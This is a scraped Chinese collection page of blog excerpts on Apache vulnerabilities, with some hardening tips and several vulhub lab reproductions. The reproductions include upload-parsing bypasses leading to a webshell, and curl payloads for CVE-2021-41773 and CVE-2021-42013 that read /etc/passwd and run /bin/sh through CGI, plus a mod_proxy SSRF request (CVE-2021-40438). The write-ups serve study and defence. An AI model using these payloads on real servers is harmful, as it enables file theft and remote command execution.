精华内容
下载资源
问答
  • Apache漏洞修复
    2021-05-11 14:59:27

    今天受同事的委托,修复一台服务器的Apache漏洞,主要集中在以下几点:

    1.Apache httpd remote denial of service(中危)

    8b14a873ae16fbebd6dd743360a6eab6.png

    修复建议:将Apache HTTP Sever升级到2.2.20或更高版本。

    5f636f3bf7e3645dd7277c841195d9fd.png

    解决方法:升级HTTP。

    现Apache官网提供的都是源码包。

    2.点劫持(Clickjacking: X-Frame-Options header missing)(低危)

    9b6a3dd9bbfc9fc7e7a1e957503df8a2.png

    修复建议:配置web server使之包含一个X-Fame-Options头。

    365f2d1d42549a096f9a71be280362f9.png

    解决方法:

    1>  首先查看是否已编译mod_headers.c模块

    # /usr/local/apache2/bin/apachectl -l

    2>  如果没有,首先编译mod_headers.c模块

    # cd /root/httpd-2.2.31/modules/metadata/

    # /usr/local/apache2/bin/apxs -i -a -c -n headers mod_headers.c

    --用apxs工具添加模块

    3> 修改配置文件

    # vim /usr/local/apache2/conf/httpd.conf

    添加如下内容:

    Header always append X-Frame-Options SAMEORIGIN

    4> 重启httpd服务。

    # /usr/local/apache2/bin/apachectl restart

    3. OPTIONS method is enabled(低危)

    f689546f0215fd2cef73bd4dc0306a67.png

    修复方法:建议在此服务器上禁止OPTIONS Method。

    05966c968f7c2b4aaa43c35ef3069d2f.png

    解决方法:

    在配置文件中添加Location容器

    # vim /usr/local/apache2/conf/httpd.conf

    Order allow,deny

    Deny from all

    4. TRACE method is enabled(低危)

    47e853feefabfd0f40ba6e38e35b8e35.png

    修复方法:在此服务器上禁止TRACE Method。

    ccdeccdef232d7ab7af369bb79f59993.png

    解决方法:

    在配置文件中最后一行添加以下语句

    # vim /usr/local/apache2/conf/httpd.conf

    TraceEnable off

    Ubuntu 13.04 安装 LAMP\Vsftpd\Webmin\phpMyAdmin 服务及设置 http://www.linuxidc.com/Linux/2013-06/86250.htm

    Apache 的详细介绍:请点这里

    Apache 的下载地址:请点这里

    0b1331709591d260c1c78e86d0c51c18.png

    更多相关内容
  • Apache-flink 未授权访问任意jar包上传反弹shell CVE-2019-0193 Apache-Solr via ...CVE-2019-17564 Apache-Dubbo反序列化漏洞 CVE-2020-13925 Apache Kylin 远程命令执行漏洞 CVE-2020-13957 Apache Solr 未授权上传
  • apache 简介: Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行...Apache文件解析漏洞与用户的配置有密切的关系,严格来说属.

    在这里插入图片描述

    apache 简介:

    Apache 是世界使用排名第一的Web 服务器软件。它可以运行在几乎所有广泛使用的 计算机平台上,由于其 跨平台 和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且可通过简单的API扩充,将 Perl/ Python等 解释器编译到服务器中。

    一、多后缀名解析漏洞

    复现环境: docker : vulhub/httpd/apache_parsing_vulnerability

    1、漏洞简介

    漏洞成因:

    Apache文件解析漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别;因此可以用于文件上传来绕过黑名单导致getshell。

    漏洞修复:

    • 方案一:httpd.conf或httpd-vhosts.conf中加入以下语句,从而禁止文件名格式为*.php.*的访问权限

      <FilesMatch ".(php.|php3.|php4.|php5.)">
      Order Deny,Allow
      Deny from all
      </FilesMatch>
      
    • 方案二:需要保留文件名,可以修改程序源代码,替换上传文件名中的“.”为“_”:

      • eg:$filename = str_replace('.', '_', $filename);

    2、漏洞复现

    踩坑记录:使用docker-compose一键启动时,启动不报错但是就是不能运行容器,查阅资料显示需要升级系统内核到linux 4以上。

    复现过程:

    • 打开网页,显示一个文件上传的页面,尝试上传普通文件,发现上传失败,只有上传图片才能成功。
      在这里插入图片描述
      在这里插入图片描述

    • 使用哥斯拉生成一个shell木马,该后缀名为fuck.php.jpg
      在这里插入图片描述

    • 上传成功,使用哥斯拉进行连接,成功getshell.
      在这里插入图片描述

    二、正则过滤解析漏洞( cve-2017-15715)

    复现环境: docker : vulhub/httpd/cve-2017-15715

    1、漏洞简介

    漏洞原理: apache这次解析漏洞的根本原因就是这个 $,正则表达式中,我们都知道 用 来 匹 配 字 符 串 结 尾 位 置 , 我 们 来 看 看 [ 菜 鸟 教 程 ] ( h t t p : / / w w w . r u n o o b . c o m / r e g e x p / r e g e x p − s y n t a x . h t m l ) 中 对 正 则 表 达 符 ‘ 用来匹配字符串结尾位置,我们来看看 [菜鸟教程]( http://www.runoob.com/regexp/regexp-syntax.html ) 中对正则表达符` [](http://www.runoob.com/regexp/regexpsyntax.html)`的解释:

    匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性,则 $ 也匹配 ‘\n’ 或 ‘\r’。要匹配 $ 字符本身,请使用 \$。
    

    所以问题就来了,在设置了 RegExp 对象的 Multiline 属性的条件下,$还会匹配到字符串结尾的换行符。所以如果在上传时,添加一个换行符也能呗正常解析,并且能够绕过系统的黑名单检测。所以理论上只要使用正则来匹配文件后缀名,就有可能存在该漏洞。

    漏洞产生条件:

    • 获取文件名时不能用$_FILES['file']['name'],因为他会自动把换行去掉,这一点有点鸡肋
    • 默认的Apache配置即可利用,因为默认Apache配置就使用了<FileMatch>

    2、漏洞复现

    • 开启docker环境,访问web页面,同样是一个简单的上传功能,并且一样的对文件后缀做了限制,使用多文件后缀上传,上传成功后发现shell不能解析,说明老是解析漏洞不能使用。
      在这里插入图片描述
      在这里插入图片描述

    • 修改上传的文件名,在php的后缀处添加换行符“\r",上传成功。此处注意要点:上传是换行符只能使用”\x0A“,而不能是”\x0D\x0A"。此处踩雷:不能直接在php后缀后面加\x0A,不然后导致上传后无法解析,而应添加一个字符然后在HeX模式下修改为0a.
      在这里插入图片描述

    • 使用哥斯拉进行连接,成功getshell.
      在这里插入图片描述

    三、路径遍历漏洞(CVE-2021-41773)

    复现环境: docker: vulnhub/httpd/CVE-2021-41773

    1、漏洞简介

    ​ Apache HTTP Server 2.4.49版本使用的ap_normalize_path函数在对路径参数进行规范化时会先进行url解码,然后判断是否存在…/的路径穿越符,当检测到路径中存在%字符时,如果紧跟的2个字符是十六进制字符,就会进行url解码,将其转换成标准字符,如%2e->.,转换完成后会判断是否存在…/。

    ​ 如果路径中存在%2e./形式,就会检测到,但是出现.%2e/这种形式时,就不会检测到,原因是在遍历到第一个.字符时,此时检测到后面的两个字符是%2而不是./,就不会把它当作路径穿越符处理,因此可以使用.%2e/或者%2e%2e绕过对路径穿越符的检测。

    ​ 如果服务器中配置了cgi的httpd程序中执行bash指令,从而有机会控制服务器。

    2、漏洞复现

    • 使用docker运行漏洞环境,访问8080端口,是一个apache默认页面。
      在这里插入图片描述

    • 根据漏洞原理,使用curl 获取系统文件内容,成功利用漏洞获取信息。payload如下:

      curl -v --path-as-is http://your-ip:8080/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
      

      在这里插入图片描述

    3、利用CGI执行命令

    payload:

    curl --data "echo;whoami" http://192.168.22.140:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh

    执行效果:
    在这里插入图片描述

    四、路径遍历(CVE-2021-42013)

    1、漏洞简介

    Apache HTTP Server 2.4.50 中对 CVE-2021-41773 的修复不够充分。攻击者可以使用路径遍历攻击将 URL 映射到由类似别名的指令配置的目录之外的文件。如果这些目录之外的文件不受通常的默认配置 “要求全部拒绝” 的保护,则这些请求可能会成功。如果还为这些别名路径启用了 CGI 脚本,则可以允许远程代码执行。

    影响版本: apache 2.4.49 和apache 2.4.50

    2、漏洞复现

    Apache HTTP Server 2.4.50版本对CVE-2021-41773的修复可以避免一次url编码导致的路径穿越,但是由于在请求处理过程中,还会调用ap_unescape_url函数对参数再次进行解码,仍然会导致路径穿越。

    在处理外部HTTP请求时,会调用 ap_process_request_internal函数对url路径进行处理,在该函数中,首先会调用ap_normalize_path函数进行一次url解码,之后会调用ap_unescape_url函数进行二次解码,此时就可以使用URL二次编码的方式绕过防御。

    payload编码解析过程:

    1. 假设输入的路径参数为:/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
    2. 经过ap_normalize_path函数处理后path参数变成/icons/.%2e/.%2e/.%2e/.%2e/etc/passwd
    3. 经过unescape_url函数处理后,可以看到此时的url字符串内容变成/icons/../../../../etc/passwd

    所以,可以构造以下payload读取文件:结果显示payload成功执行,绕过了cve-2021-41773的防御。
    curl -v --path-as-is http://your-ip:8080/icons/.%%32e/.%%32e/.%%32e/.%%32e/etc/passwd
    在这里插入图片描述

    在有CGI的情况下调用CGI程序:

    payload:curl --data "echo;whoami" http://192.168.17.244:8080/cgi-bin/.%%32e/.%%32e/.%%32e/.%%32e/bin/sh
    在这里插入图片描述

    展开全文
  • Apache漏洞汇总:

    千次阅读 2022-03-22 13:21:35
    Apache HTTPD 换行解析漏洞(CVE-2017-15715): 访问ip:8080 上传1.php正常被拦截 查看hex:找到1.php后缀p后缀为70,0a0d为换行,因此在0d之前加入0a 右键0d:Insert byte 上传成功,访问...

    Apache HTTPD 换行解析漏洞(CVE-2017-15715):

    访问ip:8080

    上传1.php正常被拦截

    查看hex:找到1.php后缀p后缀为70,0a0d为换行,因此在0d之前加入0a

    右键0d:Insert byte

    上传成功,访问http:ip:8080/%0a

    获取后台权限:

    Apache HTTP Server 2.4.48 mod_proxy SSRF (CVE-2021-40438)

    原理:Apache HTTP 服务器项目致力于为包括 UNIX 和 Windows 在内的现代操作系统开发和维护开源 HTTP 服务器。

    在 httpd 的 mod_proxy 中发现了服务器端请求伪造 (SSRF) 漏洞。该漏洞允许未经身份验证的远程攻击者使 httpd 服务器将请求转发到任意服务器。攻击者可以获取、修改或删除可能位于防火墙后面且无法访问的其他服务上的资源。此漏洞的影响因 httpd 网络上可用的服务和资源而异。

    获取到get页面:为tomcat页面

    利用SSRF漏洞:

    Payload:只需要在GET请求填充字符A

    GET /?unix:AA………AAAA|http://example.com/ HTTP/1.1

    展开全文
  • 2021最新Apache漏洞分析

    千次阅读 2021-11-17 21:18:28
    2021年9月16日,Apache官方发布了Apache httpd mod_proxy SSRF漏洞CVE-2021-40438,影响v2.4.48及以下版本。该漏洞影响范围较广,危害较大,利用简单,不得不引起重视。 0x02 漏洞搭建 docker部署详见...

    0x01 漏洞简介

    2021年9月16日,Apache官方发布了Apache httpd mod_proxy SSRF漏洞CVE-2021-40438,影响v2.4.48及以下版本。该漏洞影响范围较广,危害较大,利用简单,不得不引起重视。

    0x02 漏洞搭建

    docker部署详见https://github.com/BabyTeam1024/CVE-2021-40438
    开启mod_proxy模块

    image.png

    启用vhost配置文件

    image.png

    /etc/httpd/extra/httpd-vhosts.conf 配置文件内容如下

    <VirtualHost *:80>
        ServerAdmin webmaster@dummy-host.example.com
        DocumentRoot "/usr/local/httpd//docs/dummy-host.example.com"
        ServerName dummy-host.example.com
        ServerAlias www.dummy-host.example.com
        ErrorLog "logs/dummy-host.example.com-error_log"
        CustomLog "logs/dummy-host.example.com-access_log" common
            <Location /proxy>
            ProxyPass http://127.0.0.1:8888
            </Location>
    </VirtualHost>
    
    

    使用gdb挂在httpd进程即可进行源码调试,如下图所示

    image.png

    0x03 漏洞分析

    【一>所有资源获取<一】
    1、200份很多已经买不到的绝版电子书
    2、30G安全大厂内部的视频资料
    3、100份src文档
    4、常见安全面试题
    5、ctf大赛经典题目解析
    6、全套工具包

    0x1 问题梳理

    老方法,在漏洞分析之前首先问自己几个问题,带着这些问题去调试思考,最终通过努力将会解答自己的疑惑。面对这个漏洞以及利用poc,笔者有如下几个问题

    1.apache代理关键逻辑是哪块函数处理的,从漏洞挖掘角度该怎么思考
    2.为什么可以通过HTTP数据包覆盖配置文件里的代理路径
    3.为什么需要这么多字符才能覆盖为http代理

    GET /proxy?unix:A*6409|http://127.0.0.1:9999/vv HTTP/1.1
    Host: 127.0.0.1:8787
    User-Agent: curl/7.64.1
    Accept: */*
    
    

    0x2 如何分析Apache代理模块

    Apache 配置的代理模式,其实是一个Apache Proxy组件。该组件也是通过挂钩函数注册在Apache程序中,其中处理函数为proxy_handler,钩子的注册函数为ap_hook_handler,钩子的执行函数为ap_run_handler。可以在/modules/proxy/mod_proxy.c函数中找到apache proxy注册的身影

    image.png

    那么何时调用呢?这个其实在分析CVE-2021-41773 Apache路径穿越漏洞的时候就已经分析了,简单总结为在/modules/http/http_request.c中的ap_process_async_request函数处理解析请求数据包

    void ap_process_async_request(request_rec *r)
    {
        conn_rec *c = r->connection;
        int access_status;
        ......
        if (access_status == DECLINED) {
            access_status = ap_process_request_internal(r);
            if (access_status == OK) {
                access_status = ap_invoke_handler(r);
            }
        }
        ......
    
    }
    
    

    在/server/config.c代码中存在如下处理逻辑

    AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r)
    {
        ......
        result = ap_run_handler(r);
        ......
    }
    
    

    然而通过之前总结的《Apache安全—挂钩分析》文章得知,ap_run_handler在源码中并没有实际实现,而是通过宏定义的方式去实现,有兴趣的小伙伴可以去学习下。笔者的分析如下利用ida打开httpd程序,我们可以看到ap_run_handler的实具体现逻辑。

    image.png

    如上图所示v1为一个类似于虚表的结构,每40字节一个结构类型,处理函数的地址就存放在该结构的第一个4字节地址空间中。把断点下在第15行,通过下面的gdb脚本进行遍历打印

    define FindHookList
      set $ptr = $arg0
      set $temp =  *(unsigned long long *)$ptr
      while($temp != 0)
         xinfo $temp
         set $ptr = $ptr + 40
         set $temp = *(unsigned long long *)$ptr
      end
    end
    
    

    脚本执行结果如下

    image.png

    梳理一下大概有这几个钩子处理函数,然而这次漏洞就出现在了proxy_handler函数中

    core_upgrade_handler
    proxy_handler
    status_handler
    handle_autoindex
    default_handler
    
    

    笔者通过查看汇编指令的方式查看地址对应的函数名

    image.png

    找到proxy_handler的调用过程后,主要分析Apache代理模块是如何进行代理的

    0x3 Apache代理功能分析

    在/modules/proxy/mod_proxy.c中的proxy_handler函数入口r->filename的值为下图所示

    image.png

    笔者发送的数据包为

    GET /proxy/xxxx HTTP/1.1
    Host: 127.0.0.1:8787
    User-Agent: curl/7.64.1
    Accept: */*
    
    

    显而易见,r->filename采用了proxy路径之后的内容与 proxy:http://127.0.0.1:8888/进行拼接,继续往下分析。
    接下来一大段代码是首部字段 Max-Forwards的处理逻辑,这里就不再讲解了。再之后的代码如下

    char *url = uri;
    /* Try to obtain the most suitable worker */
    access_status = ap_proxy_pre_request(&worker, &balancer, r, conf, &url);
    
    

    此处的uri为http://127.0.0.1:8888/xxxx ,跟进ap_proxy_pre_request函数,最终来到了本次漏洞的主要函数fix_uds_filename

    image.png

    fix_uds_filename函数开头部分判断了几个条件,是否为proxy:开头,其中是否包含了unix和| ,如果进入if判断这几个条件缺一不可。

    image.png

    笔者采用的配置方式如下所示,因此不会进入fix_uds_filename函数主逻辑进行处理。

    ProxyPass http://127.0.0.1:8888
    
    

    同样的如下配置也是不能够进入到主处理逻辑的,因为不包含|

    ProxyPass unix:///tmp/xxxx
    
    

    其实细心的同学们已经发现fix_uds_filename的第二个参数为引用参数,当函数执行完之后会将结果会传给实参。再往上追溯ap_proxy_pre_request函数也是采用引用参数的形式获取url的值,worker和balancer参数同理

    image.png

    那么究竟如何给这个url赋值呢?他到底有什么作用?即使配置成这样也是不能进入处理逻辑

    ProxyPass "unix:/tmp/xxxx|http://127.0.0.1:8888/"
    
    

    经过前面函数的处理只保留了http部分内容,接下来就是漏洞payload构造环节了

    image.png

    0x4 为什么可以替换代理内容

    那么可以猜想xxxx部分内容是否可控,比如发送如下数据包

    GET /proxy/xxxx?unix:///tmp/xxxx|http://127.0.0.1:8888/ HTTP/1.1
    Host: 127.0.0.1:8787
    User-Agent: curl/7.64.1
    Accept: */*
    
    

    在后端查看log日志显示内容如下,attempt to connect to Unix domain socket /tmp/xxxx,这说明已经把之前配置文件里代理到http://127.0.0.1:8888/链接的配置修改为了访问Unix domain socket套接字。

    image.png

    接着上一小节继续分析,这中间到底发生了什么导致从GET url传递的path路径最后经过apache的解析覆盖了配置里的路径。具体细节在fix_uds_filename写的很清楚

    static void fix_uds_filename(request_rec *r, char **url) 
    {
        char *ptr, *ptr2;
        if (!r || !r->filename) return;
    
        if (!strncmp(r->filename, "proxy:", 6) &&
                (ptr2 = ap_strcasestr(r->filename, "unix:")) &&
                (ptr = ap_strchr(ptr2, '|'))) {//判断r->filename中是否包含proxy:、unix:以及|
            apr_uri_t urisock;
            apr_status_t rv;
            *ptr = '\0';//用来分割unix domain socket 和 http协议
            rv = apr_uri_parse(r->pool, ptr2, &urisock);
            if (rv == APR_SUCCESS) {
                char *rurl = ptr+1;//获取代理的http路径
                char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
                apr_table_setn(r->notes, "uds_path", sockpath);
                *url = apr_pstrdup(r->pool, rurl); /* so we get the scheme for the uds */
                /* r->filename starts w/ "proxy:", so add after that */
                memmove(r->filename+6, rurl, strlen(rurl)+1);//覆盖原有代理路径为新的http路径
                ap_log_rerror(APLOG_MARK, APLOG_TRACE2, 0, r,
                        "*: rewrite of url due to UDS(%s): %s (%s)",
                        sockpath, *url, r->filename);
            }
            else {
                *ptr = '|';
            }
        }
    }
    
    

    最后通过fix_uds_filename的一波操作后r->filename 变为了新的代理url。调试分析如下

    image.png

    image.png

    函数入口处的r->filename为带有|分割的两个代理路径,最后通过以下两条语句获取uds_path和rurl

    rv = apr_uri_parse(r->pool, ptr2, &urisock); // 从ptr2获取uds path
    char *rurl = ptr+1;// 取|后的内容
    
    

    可以看到代码的最后使用memmove函数替换r->filename 6字节之后的内容,如下图所示

    image.png

    image.png

    细心读者可能会注意到一个为9999端口一个为/tmp/xxxx uds 文件,为什么最后代理的是uds文件而不是9999端口呢?这要看proxy_handler之后的代码。

    0x5 如何将代理替换为http协议

    在mod_proxy模块中也有钩子的使用,在proxy_handler代码中有一处如下函数调用。

    access_status = proxy_run_scheme_handler(r, worker,
                                             conf, url,
                                             ents[i].hostname,
                                             ents[i].port);
    
    

    如果不了解apache函数调用机制的话,不知道是如何调用过来的,如果跟踪调用栈的话,只知道从proxy_run_scheme_handler到proxy_http_handler,虽然中间发生了很多事,但对调试者来说是透明的。和之前的钩子分析类似,scheme_handler也是一种挂钩,笔者找到了声明和注册的相关代码。

    image.png

    注册挂钩函数内容

    image.png

    p神在分析文章中提到的关键代码

    uds_path = (*worker->s->uds_path ? worker->s->uds_path : apr_table_get(r->notes, "uds_path"));
    if (uds_path) {//如果是null 则会使用http协议
        if (conn->uds_path == NULL) {
            /* use (*conn)->pool instead of worker->cp->pool to match lifetime */
            conn->uds_path = apr_pstrdup(conn->pool, uds_path);
        }
        // ...
        conn->hostname = "httpd-UDS";
        conn->port = 0;
    }
    else {
        // ...
        conn->hostname = apr_pstrdup(conn->pool, uri->hostname);
        conn->port = uri->port;
        // ...
    }
    
    

    那么如何让uds_path为空就是这个漏洞将要解决的问题,把目光继续转向生成uds_path的关键代码。

    char *sockpath = ap_runtime_dir_relative(r->pool, urisock.path);
    apr_table_setn(r->notes, "uds_path", sockpath);
    
    

    影响返回值的关键函数是apr_filepath_merge,代码将会根据该函数返回值,返回相应的内容。

    AP_DECLARE(char *) ap_runtime_dir_relative(apr_pool_t *p, const char *file)
    {
        char *newpath = NULL;
        apr_status_t rv;
        const char *runtime_dir = ap_runtime_dir ? ap_runtime_dir : ap_server_root_relative(p, DEFAULT_REL_RUNTIMEDIR);
    
        rv = apr_filepath_merge(&newpath, runtime_dir, file,
                                APR_FILEPATH_TRUENAME, p);
        if (newpath && (rv == APR_SUCCESS || APR_STATUS_IS_EPATHWILD(rv)
                                          || APR_STATUS_IS_ENOENT(rv)
                                          || APR_STATUS_IS_ENOTDIR(rv))) {
            return newpath;
        }
        else {
            return NULL;
        }
    }
    
    

    但是apr函数不在apache源代码里,通过查看apr-1.6.3源码可以分析其中的逻辑,该函数在apr-1.6.3/file_io/unix/filepath.c

    image.png

    image.png

    通过调试分析,该部分绕过就显而易见了,只需控制maxlen>APR_PATH_MAX 即可,addpath为uninx://和|之间的字符串,所以在构造payload的时候只需将长度控制在一定大小就能让Apache转发给指定的http端口。到此该漏洞的大部分内容已经分析完了,该漏洞涉及到了大量的httpd 调试技术,笔者在之前的分析文章中也有介绍。

    0x6 如何修复

    在2.4.49版本代码中使用了ap_cstr_casecmpn,该函数不区分大小写的比较两个字符串的前5个字符。

    image.png

    这也就意味着只能是 proxy:unix: 开头的字符串才能进入该分支,然而这并不属于用户控制的范围。但是如果在原用配置中使用了uds配置,则会进入该分支,至于会不会产生漏洞,笔者没有进一步测试。

    0x04 总结

    该ssrf代理访问漏洞适用于apache的绝大多是版本,相对来说漏洞原理比较简单,隐藏了多年也是很不容易了,至于危害的话,笔者认为危害还是挺大的,可以访问到服务器内部一些不对外开放的http端口及uds文件。整个分析流程已经完整呈现在大家面前,很多借鉴了p神和Firzen文章里的分析步骤,如有问题多多指正。

    展开全文
  • Apache漏洞原理与复现

    2022-03-29 20:15:34
    一、Apache简介 Apache HTTP Server(简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,由于其多平台和安全性被广泛使用,是最流行的Web... Apache SSRF漏洞(CVE-
  • Apache漏洞利用与安全加固

    千次阅读 2021-03-06 08:32:00
    Apache漏洞利用与安全加固 Apache HTTP Server(以下简称Apache)是Apache软件基金会的一个开放源码的网页服务器,可以在大多数计算机操作系统中运行,是最流行的Web服务器软件之一。虽然近年来Nginx和Lighttpd等Web...
  • apache漏洞修复

    2021-08-07 03:11:19
    1.SSL/TLS存在Bar Mitzvah Attack漏洞由于apache服务器未安装SSL模块,所以需要在不重新编译apahe的情况下安装mod_ssl模块。1.0 安装apxs,yum install httpd_devel;1.1 进入apache源码目录,进入module文件夹下的...
  • 主要介绍了php5系列的apache远程执行漏洞攻击脚本,需要的朋友可以参考下
  • apache漏洞修复(绿盟科技漏洞)

    千次阅读 2017-10-11 10:02:43
    apache版本:Apache ...漏洞1:检测到目标服务器启用了TRACE方法 在/usr/local/apache2/conf/httpd.conf 末尾添加 TraceEnable off  重启apache:  cd /usr/local/apache2/bin/  ./apachectl stop  ./apac
  • Apache安全漏洞

    千次阅读 2021-05-10 20:17:35
    Apache安全漏洞 1、Apache中间件介绍 Apache是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上,由于其跨平台和安全性被广泛使用,是最流行的Web服务器端软件之一。它快速、可靠并且...
  • 文章目录一、Apache httpd 多后缀解析漏洞漏洞原理漏洞复现漏洞修复二、Apache httpd 换行解析漏洞(CVE-2017-15715)漏洞原理漏洞复现漏洞修复三、Apache 目录遍历漏洞原理漏洞修复Apache HTTP Server(简称Apache)是...
  • Apache解析漏洞复现

    2021-10-18 15:00:00
    文章目录一、Apache HTTPD多后缀解析漏洞1.1、漏洞原理1.2、漏洞复现二、Apache HTTPD换行解析漏洞2.1、漏洞原理2.2、漏洞复现 一、Apache HTTPD多后缀解析漏洞 1.1、漏洞原理 形如:index.php.asc.cdb格式的,就是...
  • Apache解析漏洞

    千次阅读 2021-08-04 16:38:22
    Apache解析漏洞主要是因为Apache默认一个文件可以有多个用.分割得后缀,当最右边的后缀无法识别(mime.types文件中的为合法后缀)则继续向左看,直到碰到合法后缀才进行解析(以最后一个合法后缀为准) 1. 如图,...
  • 前段时间修复了一个老服务器,ubuntu12.04的系统,原来的apache是2.2.22版本的,绿盟扫描出来了N多的漏洞,因为这个学校把所有的外部端口都封死了。 没办法,开搞。 网上搜了很多资料,先是apt-get命令升级,直接...
  • apache相关漏洞

    千次阅读 2020-09-30 19:56:43
    CVE-2019-17564-Apache Dubbo反序列化漏洞 CVE-2020-1938-Apache Tomcat文件包含漏洞 CVE-2020-1948-Apache Dubbo反序列化漏洞 CVE-2020-1956-Apache Kylin远程命令执行漏洞 CVE-2020-9480-Apache Spark远程代码执行...
  • Apache解析漏洞汇总

    千次阅读 2022-04-15 16:55:32
    Apache文件解析漏洞与用户的配置有密切的关系,严格来说属于用户配置问题。Apache文件解析漏洞涉及到一个解析文件的特性。Apache默认一个文件可以有多个以点.分割的后缀,当右边的后缀名无法识别,则继续向左识别;...
  • 主要介绍了Apache后缀名解析漏洞分析和防御方法,后缀解析漏洞通常通过伪造PHP后辍,来上传文件到服务器中,很致命的一漏洞,需要的朋友可以参考下
  • Apache中间件漏洞复现

    千次阅读 2022-02-13 14:39:08
    kali复现apache未知扩展名解析漏洞 2. 复现 我上传了一个名字叫shell.php.aaa 的文件,当此特性存在的时候,一看.aaa不认识, 继续解析,.php我认识,解析成php文件了。访问也是同理,比如访问phpinfo.php.qqq可成功...
  • Apache 解析漏洞

    千次阅读 2020-02-26 19:15:15
    呜啦 ~~ 又太久没写博客啦 偶然间看到了这一篇文章,觉得写得还挺好的。...之所以打引号是因为我觉得这三种“漏洞”都不是Apache漏洞,只是其特性,而很多程序员不了解这种特性,故而写出有问题的代码,这才...
  • 漏洞原理: Apache是从右到左开始判断解析,如果为不可识别解析,就再往左判断。比如xxx.php.rar对apache来说rar是不可解析的,所以就会解析成xxx.php 复现: 新建一个1.php.rar文件,用记事本打开,写入PHP一句话...
  • Apache Tomcat 漏洞利用

    千次阅读 2021-11-29 13:41:55
    Apache Tomcat 漏洞利用 参考链接1 参考链接2 通过对apache tomcat的枚举和利用,我们可以从中找出漏洞,然后得到shell 枚举 在 Tomcat6 之前的某些版本中,我们可以使用msf枚举用户: msf> use auxiliary/...
  • 使用Docker复现Apache文件解析漏洞1.使用Docker搭建环境1.首先拉取一个基础镜像2.启动一个容器3.进入容器4.更换apt源5.安装web环境6.启动apache7.检查环境是否部署完毕2.漏洞复现3.把Docker容器打包为镜像 1.使用...
  • apache常见漏洞以及安全加固

    千次阅读 2020-03-30 17:14:09
    1、解析漏洞原理 php+apache: ...。。。 apache解析文件从后往前解析 例如:1.php.xxx.aaa 从aaa向前解析,遇到认识的后缀如php则交给php处理。...此时漏洞依然无法形成,因为就算apache将1.php.aaaa交给php处理可以...
  • 2020年1月6日,国家信息安全漏洞共享平台(CNVD)收录了由北京长亭科技有限公司发现并报送的Apache Tomcat文件包含漏洞(CNVD-2020-10487,对应CVE-2020-1938)。攻击者利用该漏洞,可在未授权的情况下远程读取特定...
  • Apache、iis解析漏洞

    千次阅读 2022-02-15 17:11:48
    Apache解析漏洞 test.php.xxxxx 任意不属于黑名单且不属于Apache解析白名单之内的后缀名都可以使用 mime.types文件 在unbuntu下路径/etc/mime.types 在windows下路径C:/apache/conf/mime.types(类似这样的,...
  • 中间件漏洞(Apache篇)
  • Vulhub漏洞复现之Apache解析漏洞总结

    千次阅读 2020-01-30 19:53:58
    我是啊锋,一个努力的学渣,作为一个刚进入安全大门的小白,我希望能把自己所学到的东西总结出来,分享到博客上,可以...Vulhub漏洞复现之Django (小于2.0.8)任意url跳转漏洞(CVE-2018-14574) Vulhub漏洞复现之Th...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 51,665
精华内容 20,666
关键字:

apache漏洞

友情链接: smacadu.zip